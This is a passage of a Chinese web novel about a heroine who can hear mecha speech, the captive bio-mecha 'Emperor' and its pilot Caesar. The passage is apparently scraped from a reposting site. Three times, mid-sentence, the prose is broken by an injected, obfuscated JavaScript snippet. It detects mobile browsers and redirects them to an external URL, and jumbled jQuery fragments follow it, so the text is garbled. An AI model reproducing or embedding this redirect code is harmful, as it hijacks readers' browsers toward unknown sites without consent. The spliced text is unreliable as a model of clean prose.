皇帝缓缓抬高手臂,将郗灵举到自己眼前。 它的眼灯依旧猩红,昭示着内心的躁动,巨大的呼吸栅口下,隐约能看到狰狞的巨嘴。 双方距离极近,即便隔着合金面甲,郗灵也能感受到皇帝口中呼出的、蒸汽般灼热的吐息。 因为距离拉近,皇帝清晰、洪亮的心跳声也传入了她的耳中。 咚咚! 咚咚! 咚咚! “你一直在听?”皇帝的质问带着愤怒,在外人听来不过是含混的、机械造物般的嗡鸣,“说,你听懂了什么?” 冰冷坚硬的机械挤压着身体,郗灵有些喘不上气。 龙姬疯狂摇晃,她用指尖安抚地摸了摸,再抬头时,目光已与皇帝那对如月轮般巨大的眼灯平视。 事情还没到最坏的那一步。 皇帝虽然愤怒,但还可以交流。 “你说:我恨你们。”郗灵如实翻译,一字不差。 皇帝看似仍在暴怒边缘,攥着她的手掌却始终精准控制着力道,不至于把她捏伤,却也让她无法顺畅呼吸。 但是,即便得到了正确答案,它也没有丝毫惊讶。 皇帝猩红的眼灯缓缓逼近,随着距离缩短,那对眼灯散发出的红光,一点点照亮了皇帝凑近的面庞。 ——它的真实面貌被拘束装甲封印,郗灵只能看到一张毫无温度的合金面甲。 呼吸栅口喷出一团雪白蒸汽,皇帝的声音带着嘲讽:“恭喜你,你蒙对了!” 是“蒙对”,而非“听懂”。 郗灵立刻明白,皇帝根本不相信她的话,它的戒备心比自己想象中重得多。 她没有挣扎——即使早在矿星时,刚从矿井底层爬出来、饥肠辘辘的她,就有余力一拳锤爆龙姬的胸甲。 此刻,她要挣脱皇帝的束缚并非难事,但她更想听听皇帝的真心话。 恨。 她从皇帝身上,感受到了真切而浓烈的恨。 皇帝没有不恨的理由,但它……到底恨着谁? “你叫什么名字?”皇帝突然问。 “郗灵。” “一个舶来的、信达雅的名字——你不是联邦人!”皇帝的面甲几乎抵上郗灵的鼻尖,若是换作普通人类,这距离下的灼热蒸汽就足以致命,“我对这个名字有点印象……是谁给你取的?” “凤凰上将,萧寒剑。”郗灵坦然回答。 嗡! 皇帝的眼灯骤然闪烁了一下。 片刻后,它猛地松开了钳制。 新鲜空气涌入肺部,郗灵趔趄了半秒,很快调整姿态,稳稳站在皇帝的手心中。而皇帝的目光,此刻正牢牢锁在她腰间的机甲钮上。 龙姬仍在愤怒地摇晃,对着皇帝疯狂咒骂,几乎把这辈子的脏话都骂完了。 “你%*&——!”龙姬就差指着它的鼻子骂了,“我*¥@**——!!” 郗灵静静听着皇帝的心跳:它仍在愤怒,却并非针对龙姬。 那怒火像是长燃在它心底的火焰,即便此刻表面平静,它的心跳声也比暴跳如雷的龙姬还要激昂。 它的愤怒究竟因何而起? 是凯撒?是联邦?还是整个人类种族? “萧寒剑……她配得上自己的荣誉,和联邦那群吸血的水蛭不一样!”皇帝的嗡鸣声响起,带着一丝罕见的郑重,“看在她的面子上,我允许你活着离开。” 它显然想结束这场谈话,但郗灵不打算就此罢休。 她仰起头,直视着皇帝的眼灯:“你在恨谁?联邦?人类?还是……凯撒?” 嗡! 平静的水面瞬间再度汹涌,皇帝的猩红眼灯开始疯狂闪烁。 即便检测谐波的仪器已经沉入水底,郗灵也能清楚地看出,它的愤怒又一次不受控制地爆发了。 皇帝身上的拘束装甲爆出一连串脆响,水库中的溶液虽已齐至心口,装甲接缝处却“滋滋”冒出雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408683|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白滚烫的蒸汽。它的面甲再次贴近,呼吸栅口喷薄出大团灼热吐息,栅口下的巨嘴紧咬牙关,发出令人牙酸的“吱吱”声。 它彻底失去了冷静,原本平摊的铁掌猛地向内攥紧,要把掌心里的人类狠狠捏成一滩血水。 就在这时,墨菲带着负责人闯了进来。 “小怪物!!!”墨菲发出声嘶力竭的惨叫。 但血腥的一幕并未上演。 皇帝的铁掌卡在了握拳的半途中,五根手指绷紧蜷曲,每一个指节都在“嘎吱”作响。 负责人高高举起手电筒,雪白的光束射向皇帝的脑袋,也照亮了那片狭小的黑暗区域。 ——郗灵双臂撑开,牢牢抵挡住了皇帝向内攥拳的巨大力道,脸上竟还带着一丝欣赏的笑意。 “要我上场吗?要我上场吗?”龙姬用力摇晃,语气急切。 “不用,龙姬。”郗灵笑了笑,声音清晰,“我没想和皇帝结仇,我只是想……让它清醒一下!” 话音未落,她双臂骤然发力,巨大的力道竟让皇帝向内蜷曲的五指瞬间朝反方向弹开,握拳的动作彻底被打断。 下一秒,郗灵攥紧拳头,一拳重重地砸在了皇帝的面甲上! 嘭! 沉闷的撞击声伴着合金碎裂的脆响,在密闭的水库中回荡。 高达十余米的皇帝竟被这力道撞得趔趄后退半步,后背重重撞上水库内壁。而郗灵已趁机跳离它的手掌,像跳水运动员般从数米高空跃下,“扑通”一声跳进水中。 她溅起的水花堪比炸鱼——若是打分,这跳水成绩恐怕只有0分。 几秒后,郗灵“哗”地从水中探出头,挣扎着爬上岸,湿漉漉地站到墨菲和负责人身边。 负责人眼疾手快,立刻启动备用拘束装置,一只只反钳的巨手瞬间将皇帝牢牢绑缚。 水面再度激荡,浪花不断扑到郗灵所在的平台上,让她彻底变成了落汤鸡。 皇帝还在剧烈挣扎,负责人果断转身,两只胳膊夹着郗灵和墨菲,快步冲进舱门。 砰! 舱门合拢。 高浓度的乳白色气体瞬间充满了关押皇帝的区域。 “那是雾化镇静剂,能让暴走的机甲强制沉睡。”负责人一边拧着衣服上的水,一边对郗灵解释,“之后我们会加强对皇帝的监管,不会再发生这种事了。” 舱门另一侧,皇帝不甘的嘶吼一声接一声传来。 在负责人和墨菲听来,那只是一阵高亢的嗡鸣,郗灵却听得真切——皇帝在愤怒地咒骂一切,包括在场的三人。 “我恨你们!” “我恨你们!” “我恨你们!” 皇帝的声音越来越微弱,愤怒却愈发浓烈,到最后,竟然透出一种穷途末路的悲壮。 最终,它的声音在最后两个字戛然而止:“凯撒……” 郗灵一怔。 那声音怪极了,像在抽泣,她听出来皇帝连哭都不会,但皇帝的确是在哭。 它为什么会哭? 它为什么呼唤凯撒的名字? 它……恨着凯撒吗? 透过舱门的玻璃小窗,郗灵看到水库中弥漫的乳白色雾气渐渐散去,那对猩红如血月的眼灯已然熄灭。 皇帝,再次陷入了沉眠。 54. 因爱跳动的心脏(四) 凯撒躺在病床上。 昨天,探望他的人还络绎不绝,医院门口甚至排起了长队,可仅仅一天过去,那些心思不纯的人已经摸清了他们想要的情报: 凯撒即将陨落,失去了“皇帝”,他注定要从奥古斯都家族继承人的宝座上跌落。 真是现实啊…… 凯撒发出一声感慨,而后侧头望向窗外。 期待是一种微妙的暴力,因为施暴者与受虐者都是自己,可即便强如凯撒,也难免生出一丝落差感。 他是天之骄子,是从一众兄弟姐妹中脱颖而出的“凯撒”,血管里流淌着奥古斯都家族的血统——这份血统无论在帝国时代,还是如今的联邦,都尊贵无比。 前者,帝国每一位皇后的姓氏必然是奥古斯都;后者,十大元帅之一的叶卡捷琳娜元帅,同样顶着奥古斯都的姓氏。 但高贵的出身不是力量,显赫的权柄也不是力量。 每一位凯撒都有专属的“皇帝”,而失去“皇帝”的凯撒,也将不再是凯撒。 权力的游戏本就是一场血腥的狩猎,猎手与猎物的位置随时可能颠倒,而失败者的下场,终究逃不过一个“死”字。 凯撒静静地望着窗外的天光,心中那座天平,正逐一称量着自己拥有之物的重量—— 他今年还不满二十岁。在联邦,18岁便已成年,可奥古斯都家族恪守古老的帝国礼制,要到二十岁才举办成年礼。 若他在尚未成年的年纪死去,或许能保留下一具完整的遗体,甚至有可能葬入家族墓地——哪怕墓碑上不会刻下他的名字。 他的母亲因难产去世,父亲是始终藏在幕后、操纵银河棋局的执棋者之一,他的兄弟姐妹,一半被他亲手杀死,另一半则被他流放远方。 奥古斯都家族的成员之间从无亲情可言,如今他成了落败者,根本无需牵挂所谓“亲人”的后路。 他认识的人不少,萍水相逢者、数面之缘者比比皆是,可真正能称得上“朋友”的,却寥寥无几。 那些人大多是被他头顶的光环、身上的利益所吸引,一旦无法从他这里捞到好处,那点微薄的真心,自然会转向更值得追逐和投资的目标。 还有……皇帝。 想到皇帝时,凯撒原本平静的心情终于泛起了波澜。 皇帝是一台生物机甲,是穿着拘束装甲的生命素体,在人类眼中不过是件战争机器——可它,偏偏是陪伴自己最久的存在。 生物机甲本应一刻不停地释放精神污染,可皇帝对他格外特殊,自从来到他身边,就从未对他造成过任何负面影响。 凯撒也清楚皇帝这份特殊的心意。 他的父亲,也就是如今的奥古斯都家主,年轻时也曾是一位“凯撒”,可父亲与他的“皇帝”关系极差,彼此相看两厌,恨不得对方立刻消失。 但父亲需要借助“皇帝”坐稳家主之位,于是,他将自己的“皇帝”封印在一只密闭的铅盒里,彻底断绝了“皇帝”获取能量的可能,让它既没法彻底死去,又只能以胚胎的形态苟延残喘。 凯撒一直自认和父亲不同,他与皇帝,绝不会走到那般残忍的地步。 可现实,却狠狠给了他一记耳光。 皇帝在众目睽睽之下暴走,如今正被关押在维尔莱德军校的水库中,享受着最高级别的警戒看管。 他曾强撑着骄傲,对自己说,皇帝只是出了点意外。 可昨晚夜半时分,他从莱茵口中得知:皇帝再次暴走,还差点杀死了郗灵。 他的上半夜在病痛缓解时的痒意中辗转,但下半夜,他却再也无法入眠,脑海里不受控制地回放着白天那些人不怀好意的审视目光。 他并不畏惧死亡,每一位奥古斯都族人,从出生起就做好了死在鲜血里的觉悟。 他更不畏惧等死的过程,巅峰时得到了多少追捧与阿谀,跌落神坛时自然要迎接多少攻讦与唾骂,这很公平。 他唯一放心不下的,只有皇帝。 皇帝在他三岁时就来到了身边,陪伴他的时间,比父亲、母亲、兄弟姐妹,还有所有朋友加起来都要长。 凯撒可以死得落魄,却绝不能容忍皇帝和自己一样,遭受那样的屈辱。 正当凯撒忧心忡忡时,病房的门突然从外面被推开了。 昨天探望他的人络绎不绝,不管是真心关心、趁机审视,还是专程来落井下石,想必都已经满足了好奇心,他想不出,还有谁会来探望他。 他收回望向窗外的目光,转头看去,当看清来人时,不由得愣住了—— 是郗灵。 * 郗灵与皇帝的那场战斗虽说惊险,对她而言却宛如舒活筋骨。 她昨晚睡了个安稳觉,一早醒来神清气爽。为了不耽误训练,她特意起得很早。 因为有个问题,她必须亲自来问一问凯撒。 迎上凯撒惊愕的目光,郗灵一屁股坐在冰冷的椅子上,顺手从床头果篮里摸出个苹果啃了起来。 “早上好,凯撒。”她咔嚓咔嚓地嚼着苹果,丝毫不见外,“你醒得倒挺早。” 凯撒盯着郗灵啃苹果的动作,有些失笑。 郗灵没有追问凯撒那莫名的惊愕,也没打听他是否知道自己昨晚在水库的遭遇,她直截了当地说:“我来是想问问皇帝的事。” 凯撒笑道:“请讲。” “你觉得,皇帝最恨的人是谁?” 话音刚落,郗灵看见凯撒的眼神骤然动荡了一下。 她的问题,像是精准戳中了凯撒最柔软的软肋。 昨天面对那些各怀心思的探望者,凯撒尚且能维持着得体与从容,可仅仅因为“皇帝”二字,他原本如雄狮般炯然的目光瞬间凝固,仿佛支撑野心的动力骤然抽离,连那层密不透风的骄傲盔甲,也骤然裂开了一道缺口。 尽管这反应只持续了短短一瞬,郗灵还是有些意外——她从没想过,如此骄傲的凯撒,竟会有这般失态的瞬间。 ……不,让凯撒失态的,不是“皇帝”这个名字。 是“恨”。 是皇帝的“恨”。 凯撒是皇帝的机甲师,他到底是不知道皇帝藏着恨意,还是……不敢去想这份恨意的来源? 郗灵凝视着凯撒逐渐平静的脸庞,举起手中的苹果,“咔嚓”一声,清脆地咬下一口。 她琢磨着:自己是不是太直接了?会不会不经意间揭开了凯撒的伤疤?接下来的谈话里,该怎么避免这种失礼的冒犯? 可没等她想明白,凯撒忽然朝她伸出手:“分我一半。” 郗灵低头看了看手里的苹果——她只在一面咬了三口,完全能掰下另一半给他,而且凯撒这个举动,隐约带着“咱们还算朋友”的意思。 她没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415741|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问“为什么不自己再拿一个”,顺着他的话,干脆利落地掰了半颗递过去。 凯撒接过苹果,也咔嚓咬了一大口。 他似乎终于彻底平静下来,可接下来的话,却让郗灵瞬间停下了咀嚼的动作—— “我觉得,它最恨的人是我。” 郗灵腮帮子的动作顿住了,她下意识追问:“为什么?你不是很爱皇帝吗?” “我爱它,和它恨我,本来就不冲突,不是吗?”凯撒笑了笑。 他说: “对机甲来说,人类带给它们的痛苦太多了。一个优秀的机甲师能感应到机甲的状态——你要知道,机甲是活的,不是没有知觉的死物。人类强加给它们的所有拘束,说到底都是为了利用它们的力量。” “就算皇帝爱憎分明,把无辜的我从‘带给它痛苦的人类’里摘出来,愿意去恨别人、独独对我不一样,可爱顶多能缓解痛苦,却没法彻底治愈它。” “它陪了我多少年,我就驾驶了它多少年,也意味着它忍受这份痛苦多少年。创造它的人是痛苦的根源,可我,又何尝不是亲手凌迟它的刽子手?” “整整十七年啊……它凭什么不把恨对准我?” 郗灵没说话,只是静静听着。 她要的答案,其实已经从凯撒的话里找到了。 他爱皇帝,甚至可能胜过爱自己。可正因为这份爱,他认定自己是最该被恨的人,也觉得皇帝必须恨他。 原来爱真的会让人盲目。 再骄傲的狮子,被爱驯服后,也会生出这样的自卑,觉得自己的“不堪”本就该被心爱之人厌弃。 自傲与自卑在他身上奇怪地共存,唯有那份深入骨髓的强势,始终没变。 而且,透过凯撒的反应,郗灵也解开了心里另一个疑问。 她之前一直琢磨:皇帝到底爱不爱凯撒?毕竟皇帝的恨意那样猛烈,仿佛要把整个银河都燃烧成灰烬。 可现在,她忽然明白了。 凯撒是皇帝的机甲师,他们之间的羁绊,早不是简单的“操控与被操控”。 既然凯撒能如此笃定地说出“皇帝一定最恨我”,那反过来,皇帝或许也会用同样强势的方式宣告:“我恨所有人,除了凯撒。” 凯撒的爱能消除皇帝的痛苦吗?不能。 但凯撒是最适合皇帝的机甲师吗?是的。 郗灵心中豁然开朗,她决定今天再去看一看皇帝……当然,要提前和负责人打个申请。 郗灵啃完手里的半个苹果,把果核扔进床边的垃圾桶,又拍了拍沾着果汁的手掌,准备跟凯撒告别。 凯撒对她的离开并不意外——哪怕他至今没完全想通,郗灵为什么会来。 但经过这第二次见面,郗灵在他心里的印象,终究还是变得特殊了些。 于是他忽然开口,语气很轻,却带着不容错辨的郑重:“郗灵,我的朋友,这或许是我们最后一次见面了。” 凯撒从不是会示弱的人。哪怕之前给郗灵发过那么多聒噪的短信,他也只愿意在自己势强、风光、有能力保护别人的时候,流露一点点友善;就算受了伤,也会硬撑着摆出强大的模样。 就像昨天,即使刚从抢救室出来,他不还是落落大方地接待了一个又一个访客? 郗灵心中忽然“嗡”了一下。 凯撒这话……是什么意思? 55. 因爱跳动的心脏(五) 郗灵再次进入机甲水库。 这是她第三次探望“皇帝”。 经过昨晚一事,“皇帝”已被严加监管,当她进入“皇帝”所在的区域时,负责人就在外面严阵以待,随时准备应对“皇帝”的暴走。 但郗灵和负责人的心态截然相反。 或许是因为她的力量足以与“皇帝”对抗,又或许是“皇帝”昨晚的那声啜泣刻进了她的心里,当她再次走到金属桥梁中央,看到“皇帝”猩红的眼灯“嘭”地亮起时,心中充斥的不是畏惧,而是欣慰。 欣慰自己没有看错“皇帝”:即便受挫,它也不会放弃任何一丝反抗的可能。 “皇帝”发出嗡鸣:“……是你。” “是我,我又来了。”郗灵再次坐到桥梁上,用手指了指自己的耳朵,“上一次我跟你说,我听得懂你们说话。现在,相信你已经知道,我没有骗你。” “皇帝”的状态安静了许多,但郗灵觉得,这很可能是负责人加大了溶液中镇静成分的剂量——因为它的双眼比上一次更加猩红,红得仿佛下一秒就要滴出血来。 “皇帝”没有回应郗灵的话,而是直截了当地问:“你想问我什么?” “你为什么会暴走?”郗灵问。 她指的是“皇帝”在校园内的第一次暴走,那次暴走不仅伤到了凯撒,更直接导致它被关进水库。 虽然墨菲给出的答案能完美解释“皇帝”暴走的原因,但郗灵总觉得,以它的性格,即便忍耐了长达十七年的痛苦,也绝不会在那个时候选择爆发。 骄傲的狮子,从不会在众目睽睽下袒露自己的伤口。 “皇帝”嗡鸣一声,语气里竟带了丝讥诮:“你很敏锐,也很直接,像一头不懂礼节的野兽,闯进了文明社会。” 郗灵从不在乎他人的评价。 她把这份嘲讽当作赞美收下,悬在半空中的双腿轻轻晃了晃,目光落在平静的水面上,暗自估算“皇帝”回答她问题的可能性有多大。 很小,小得几乎接近零。 但“皇帝”是特殊的,它的身上藏着一个巨大的谜团。 一旦这个谜团解开,郗灵就能多知道一些关于机甲的秘密,而她对机甲秘密的了解越深,就越能得心应手地运用机甲的力量,向机械帝皇复仇的手段,也便愈发有力。 时间一分一秒地流逝。 正当郗灵以为“皇帝”会全程保持沉默时,黑暗中的那两盏猩红眼灯忽然晃了晃,平静的水面也随之泛起一圈涟漪。 “皇帝”被施以最高规格的拘束方案,可那些拘束机械臂竟仍不足以将它彻底束缚。但这一次,“皇帝”没有像上次那般暴虐,只是像松活筋骨似的小幅度动了动。 ——那微微波动的水面,甚至没能打湿郗灵的鞋尖。 它说:“我恨你们,包括凯撒。” 这是一句平静的宣告,可“皇帝”对其他人和凯撒的情感,明显截然不同。 它对其他人的恨意浓烈而坚定,对凯撒的恨却复杂到无法用语言概括。 就像一个精疲力尽的考生,拿到了两套截然不同的试卷,却在上面写下了同一份答案。 郗灵追问:“为什么?” “包括你在内,你们所有人的机甲都是未开智的野兽。”“皇帝”说,“人类在培育胚胎时,用卑劣的手段压制了我们觉醒智慧的可能——即便有部分机甲侥幸觉醒,那份智慧也诞生于人类的熏陶。就像一只狼崽子从小混迹在狗群里,就算觉醒了意识,也只会活成一条狗。” 龙姬瞬间暴怒:“它骂我是狗!” 郗灵安抚地摸了摸龙姬的机甲钮,龙姬愤怒的情绪渐渐平复下来。 “皇帝”猩红的眼灯一眨不眨地盯着二人的互动,发出一声意义不明的嗤笑:“当然,待在你身边,这只人工培育的劣种,或许还有再次成长的可能。” 劣种。 这两个字像根刺扎进心里,郗灵猛地抬头:“什么意思?” “帝国虽已覆灭,却曾拥有长达三千年的国祚。”“皇帝”的声音带着上位者的冷硬,“你有没有想过,再优越的制度也难存续三千年,可那个庞大的帝国偏偏做到了。除去每几十年总会涌现一批优秀官员,用以解决腐败、延缓帝国衰亡,你觉得,还有什么关键力量能支撑它走过这三千年?” 郗灵的心骤然一紧。 她心中早已隐约有了答案——从她的脑袋挨过一梭子弹,从杜尚别元帅向她吐露那个秘密开始,这个答案就藏在心底了。 她凝望着“皇帝”的眼灯,忽然意识到,这场对话里,她即将揭开一个足以颠覆认知的巨大秘密。 她沉声回答:“龙。” 杜尚别曾说:人类会把强大、超凡且神秘的存在,命名为“龙”。 帝国的初代皇帝曾在皇宫地底豢养巨龙,此后每一代皇帝都自称流淌着高贵的龙血。若真有“龙”这般超凡力量作为统治工具,那么在绝对力量面前,一个腐朽的帝国能奇迹般延续三千年国祚,似乎也并非无法想象。 “皇帝”欣喜地嗡鸣一声。 “第二个问题。”它对这个答案显然很满意,在它看来,唯有知晓“龙”的秘密的人,才真正拥有与它对话的资格,“你认为,机甲和龙之间,有什么关系?” 咚咚! 郗灵的心跳骤然乱了节奏。 她想起机甲身上那股强大而神秘的力量,想起联邦所有机甲都携带着“白星”的遗传物质,想起“白星”是世上第一台生物机甲,想起维尔莱德从天而降摔进马棚,想起他和白星一样身世成谜…… 机甲和“龙”有什么关系? 机甲……会不会就是帝国神话里的“龙”? 她又想起杜尚别对她说过的另一句话——你是“龙”。 为什么机甲的精神污染对她毫无负面影响? 为什么她能接收到机甲发出的谐波,甚至听懂机甲的话语? 追溯到更早的时候——在第七扇区那颗荒凉的矿星上,龙姬为什么一见到她就兴奋得不行,抱着她死也不肯撒手? “联邦所有机甲都以白星为原型机,且必然携带白星的遗传物质,只因白星曾是世上最后一头龙。”“皇帝”的声音缓缓响起,像在诉说一个尘封千年的秘密,“唯有龙能调动如此磅礴的伟力,才能让孱弱的联邦从数百个人类政权中脱颖而出。而我——一个本不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421374|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在的完美胚胎,诞生于奥古斯都家族一项隐秘的技术。” 郗灵呼吸骤然急促,她仰起头,安静地凝视着“皇帝”。 “皇帝”继续说道: “按照计划,我本应在胚胎培育阶段被剥离一半大脑,成为一个空有强大力量的残次品。但培育我的人——凯撒的姑姑,却将凯撒的脐带血融入了我的基因。我因此意外保留了完整的神智,并在凯撒三岁生日那天,被他那位心怀不轨的姑姑,当作礼物送进了他手里。” “他的姑姑本也是‘凯撒’候选人之一,最终却败给了自己的弟弟——也就是如今的奥古斯都家主。” “扭曲的执念让她把矛头对准了一个三岁稚子,她想毁掉这个最优秀的继承人。在她看来,一台拥有完整神智的机甲,必然会对自己的主人心生怨恨——毕竟,一个强大而向往自由的生灵,怎会甘心臣服于一个孱弱的人类幼崽?” “可我偏偏臣服了。” “龙是何等强大的生灵,从不会因外力胁迫而屈服,却会为内心的情感俯首。就像第一头龙选择追随第一位皇帝,并助他建立起伟大的帝国那样,我甘愿成为凯撒的臣子——即便他给我取的名字,是‘皇帝’。” “无数个夜晚,我曾扪心自问:我本是那样高傲、不肯低头的生灵,怎会甘心穿戴那套带给我无尽痛苦的拘束装甲,被一个还没有我脚背高的人类幼崽随意驱使?我甚至悄悄剔除过体内属于凯撒的基因,那时我以为,我对凯撒这份特殊的情感,不过是那滴不该存在的脐带血在作祟。” “但我错了。” “我彻底弄错了情感的根源。龙的情感从不受任何外在因素左右,只遵从自己的本心。” “我不得不承认——在看到凯撒的第一眼,我就爱上了他。正因如此,当他无意间抱怨,说对我的驾驶多了一丝不顺手时,我甚至主动把那滴被剔除的脐带血,重新吸收回了体内。” “可后来,我开始恨他。” “我恨他停留在我身上的目光越来越短暂。他长大了,从那个光着脚丫、满头金毛的小孩,长成了风度翩翩的成熟人类。他的笑声、他的眼泪,都不再围绕着我。我好像一点点变成了被抛弃的存在——即便他依旧需要我的力量,可那份需要里,似乎只剩下‘力量’本身。” “我恨他,这份恨意和当初的爱意一样浓烈。而更让我绝望的是,他从头到尾,都不可能察觉我对他的感情——无论是爱,还是恨。” “他是凯撒,是我认定的皇帝;我是‘皇帝’,是他麾下的臣子。皇帝的心中可以装下无数个臣子,可臣子的心里,却只能有一个皇帝。这是一道无解的题——从他欣喜地对我喊出那声‘哦,我亲爱的皇帝’开始,我如今的命运,就早已注定。” “我以为,自己能体面地退出这场独角戏般的感情;我以为,我对他的情意不过是可悲的单箭头。可我没料到,我竟会在众目睽睽之下,像头失控的野兽般暴走。” “而这一切的导火索,不过是凯撒的一句玩笑话——” “他说:‘和父亲决战那天,我一定不会带上皇帝。因为父亲的皇帝已是枚将死的胚胎,靠这样赢得胜利,太不公平了。’” 56. 因爱跳动的心脏(六) 皇帝从未说过这么多话。 郗灵听得默然——皇帝因凯撒的脐带血保留了完整的神智,但也因这份神智,它品尝到了千百倍的浓烈情感,无论爱,无论恨,都不是三言两语可以解释的东西。 但皇帝的这份情感……凯撒知道吗? 凯撒不知道。 他听不懂皇帝的话,更看不到皇帝的心。 机甲和人类本就语言不通,更何况,拘束装甲里的生命方程式阻隔了机甲散发的谐波,虽然减少了精神污染,却也彻底断绝了机甲和机甲师沟通的可能。 也许,这就是机甲在胚胎时期就要被剥离神智的原因之一。 一个智慧的生灵,如果孤独地生活在黑暗封闭的空间里,除了无穷无尽的痛苦,便只剩自己的心跳可以感知,这样的酷刑,没有任何人能够忍受。 封印在瓶子里的魔鬼,在前三个百年殷切地许下愿望,要全力报答解救它的人。 可第四个百年,当一个渔夫真的揭开了瓶口上的锡纸封印,那脱困的魔鬼反而带着毁天灭地的念头,愤怒着,怨怼着,对渔夫恩将仇报,吃掉了恩人的每一根骨头。 孤独令人疯狂,要是四百年后才能重见天日,还不如一直困在黄铜胆瓶里。 郗灵垂着头坐在桥梁上,双手不由自主地捧起龙姬,聆听它发出的、飞鸟振翅般窸窣的动静。 她感到庆幸,她的龙姬已从这样的苦难中解脱。 龙姬穿着联邦唯一一套二代拘束装甲,里面的生命方程式已被伊甸和墨菲破解。 只要有办法脱掉那身装甲…… 水库上空响起柔和的提示声,本次探视时间已接近尾声。 头顶突然传来异响。 郗灵抬头看去,见上方的黑暗中,那两盏血月般的眼灯微不可察地颤动着,晃颤间反射出水盈盈的光。 皇帝胸口以下的身体浸泡在淡琥珀色的溶液中,所露出的只有大半个肩甲和覆盖着冰冷面甲的头颅。而皇帝一直处于愤怒之中,它的眼灯因此一直是红色的,即使它阖上双眼,它的怒火也在心中熊熊燃烧。 但那猩红又凶戾的光,在此刻忽然变得柔和了。 一滴又一滴湿润的液体从它的眼灯缝隙中溢出,它的脸上只有眼灯是亮的,那微弱的红光也只能照亮它脸庞的小半轮廓,而它眼中的液体只在刚流出时留下一个稍纵即逝的反光,就没入了黑暗,顺着坚硬的面甲滑下,滴答一声砸落到平静的水面上。 滴答。 滴答。 滴答。 郗灵屏住呼吸,愕然又不忍地望着皇帝。 那是眼泪吗? 皇帝在哭吗? 明明上一次,它还发出了古怪的哭声,但这一次,它就这么静静地流着眼泪,一声呜咽或者啜泣都没有。 皇帝是骄傲的,但它的骄傲,和它想要被爱,想被关注、被优待、想获得特权并不矛盾。 它无法接受凯撒的目光不再落在它身上,而它失控暴走的理由,只是凯撒疑似抛弃了它。 甚至,它的心愿并不过分。 它此刻惋惜留恋的,从前甚至早已得到,只是随着时间的流逝,如流沙般从它指间一点点失去了。 郗灵听着滴滴答答的、眼泪落入水中的声音,那声音像极了世上最小的雨。 水库中提示音接连响起,提醒郗灵应该离开了。 郗灵在提示音中轻声说:“皇帝,也许这话不该由我来说,但凯撒是爱你的,即使他觉得你应该恨他。” “我当然恨他!”皇帝嘶哑又哀伤地说,“他抛弃了我!他抛弃了我!他已经离开这里了!他把我丢在这里,要独自去面对他的父亲!” 什么?! 郗灵惊讶地张大嘴巴,但水库中已经响起警报声。 皇帝的危险级别极高,等在门外的负责人打开舱门,示意郗灵尽快离开。 郗灵仰头盯着上方的黑暗,皇帝的眼灯已经熄灭了。 她正要收回垂在桥梁外的双腿,却突然看见,一个小小的黑影从远处的黑暗中游了过来。 那黑影在水面下游动,仿佛一个静谧的鬼魂。 而后,两只冰凉、孱弱、畸形的小爪从水中探出,轻轻地抓住了她的鞋尖。 爪子的主人在桥梁微弱的灯光中无处遁形——它宛如一团没有发育完全的活肉,只能勉强分清躯干和脑袋,两只鼓胀的、半透明的眼睛安静地盯着郗灵,似乎在祈求郗灵带它走。 它是……皇帝的胚胎? 负责人已经走了过来。 郗灵伸了伸腿,皇帝立刻钻进她的裤腿,像一块极具粘性的肉抱紧了她的小腿。 她也不知道,自己为什么要这么做。 也许是皇帝给她提供了一份价值极高的情报,又也许……这是她第一次见到机甲流出眼泪。 还有…… 她回头瞄了一眼浸泡在水中的机甲——它已经是一具空壳,而最具价值的胚胎,此刻正在她这里。 郗灵带着皇帝离开水库。 待来到没有监控的地方,她一把揪下抱着自己小腿的皇帝,把那只孱弱又可怜的胚胎捏在自己手心里。 “你利用了我,你的真实目的是离开水库!”郗灵恶狠狠地说,“你想做什么?” 皇帝趴在郗灵的手心里,和一摊烂肉没什么区别。 它颤巍巍地抬起半透明的脑袋,睁开被肉色眼睑包裹的、斑斓的眼珠。 它的声音微弱得几乎听不见:“求你……带我去找凯撒。” 郗灵没有回答。 她因皇帝的眼泪激发出的同情,在她带它离开水库时就已经一笔勾销。 她看着在空气中瑟瑟发抖的皇帝,即使现在是日光明朗的秋日,但皇帝却脆弱得好像一阵凉风就能让它立刻死去。 龙姬罕见地没有发出任何动静,它安静地挂在郗灵腰间,聆听郗灵和皇帝展开谈判。 皇帝虚弱地说:“郗灵,这是我唯一一次求人,求你……” “先回答我的问题。”郗灵要求皇帝率先拿出诚意,“你为什么可以脱掉拘束装甲?” 皇帝金蝉脱壳,留在水库中的已是一具空壳。 如果龙姬也能脱下拘束装甲,那么,它就真正成为了一个自由的生灵,再也不必忍受任何强加给它的苦痛。 她希望龙姬自由地活着,也突然福至心灵地懂了——维尔莱 